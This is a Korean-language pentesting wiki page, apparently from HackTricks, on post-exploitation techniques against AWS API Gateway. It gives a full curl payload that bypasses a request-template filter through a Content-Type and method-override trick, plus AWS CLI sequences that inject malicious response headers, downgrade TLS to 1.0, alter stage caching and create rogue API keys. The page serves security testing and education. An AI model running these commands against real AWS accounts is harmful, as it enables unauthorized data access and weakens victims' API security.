AWS - API Gateway Post Exploitation

HackTricks 지원

API Gateway

더 많은 정보는 다음을 확인하세요:

AWS - API Gateway Enum

노출되지 않은 API에 접근하기

https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint에서 com.amazonaws.us-east-1.execute-api 서비스를 사용하여 엔드포인트를 생성하고, 접근할 수 있는 네트워크(잠재적으로 EC2 머신을 통해)에 엔드포인트를 노출시키고 모든 연결을 허용하는 보안 그룹을 할당할 수 있습니다. 그런 다음, EC2 머신에서 엔드포인트에 접근하여 이전에 노출되지 않았던 게이트웨이 API를 호출할 수 있습니다.

Request body passthrough 우회

이 기술은 이 CTF 작성에서 발견되었습니다.

AWS 문서PassthroughBehavior 섹션에 명시된 대로, 기본적으로 WHEN_NO_MATCH 값은 요청의 Content-Type 헤더를 확인할 때, 변환 없이 요청을 백엔드로 전달합니다.

따라서, CTF에서 API Gateway는 Content-Type: application/json으로 요청이 전송될 때 응답에서 플래그가 유출되지 않도록 하는 통합 템플릿을 가지고 있었습니다:

RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

그러나 **Content-type: text/json**으로 요청을 보내면 해당 필터를 피할 수 있습니다.

마지막으로, API Gateway가 GetOptions만 허용하고 있었기 때문에, 본문에 쿼리를 포함한 POST 요청을 보내고 헤더에 X-HTTP-Method-Override: GET을 사용하여 제한 없이 임의의 dynamoDB 쿼리를 보낼 수 있었습니다:

curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Enumeration 섹션에서 키의 사용 계획을 얻는 방법을 볼 수 있습니다. 키를 가지고 있고 그것이 한 달에 X번 사용으로 제한되어 있다면, 그것을 사용하여 DoS를 일으킬 수 있습니다.

API Key는 **x-api-key**라는 HTTP 헤더포함되어야 합니다.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

apigateway:UpdateGatewayResponseapigateway:CreateDeployment 권한을 가진 공격자는 기존 Gateway Response를 수정하여 민감한 정보를 유출하거나 악성 스크립트를 실행하는 커스텀 헤더 또는 응답 템플릿을 포함시킬 수 있습니다.

API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: 민감한 정보의 유출, 악성 스크립트 실행, 또는 API 리소스에 대한 무단 접근.

테스트 필요

apigateway:UpdateStage, apigateway:CreateDeployment

apigateway:UpdateStageapigateway:CreateDeployment 권한을 가진 공격자는 기존 API Gateway 스테이지를 수정하여 트래픽을 다른 스테이지로 리디렉션하거나 캐싱 설정을 변경하여 캐시된 데이터에 무단 접근할 수 있습니다.

API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: 캐시된 데이터에 대한 무단 접근, API 트래픽 방해 또는 가로채기.

Need testing

apigateway:PutMethodResponse, apigateway:CreateDeployment

apigateway:PutMethodResponseapigateway:CreateDeployment 권한을 가진 공격자는 기존 API Gateway REST API 메서드의 메서드 응답을 수정하여 민감한 정보를 유출하거나 악성 스크립트를 실행하는 커스텀 헤더 또는 응답 템플릿을 포함시킬 수 있습니다.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Potential Impact: 민감한 정보의 유출, 악성 스크립트 실행, 또는 API 리소스에 대한 무단 접근.

Need testing

apigateway:UpdateRestApi, apigateway:CreateDeployment

apigateway:UpdateRestApiapigateway:CreateDeployment 권한을 가진 공격자는 API Gateway REST API 설정을 수정하여 로깅을 비활성화하거나 최소 TLS 버전을 변경하여 API의 보안을 약화시킬 수 있습니다.

API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

잠재적 영향: API의 보안을 약화시켜 비인가 접근을 허용하거나 민감한 정보를 노출시킬 수 있습니다.

테스트 필요

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey 권한을 가진 공격자는 새로운 API 키를 생성하고 이를 사용 계획에 연결한 후, 이러한 키를 사용하여 API에 비인가 접근을 할 수 있습니다.

# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

잠재적 영향: API 리소스에 대한 무단 접근, 보안 통제 우회.

테스트 필요

HackTricks 지원

Last updated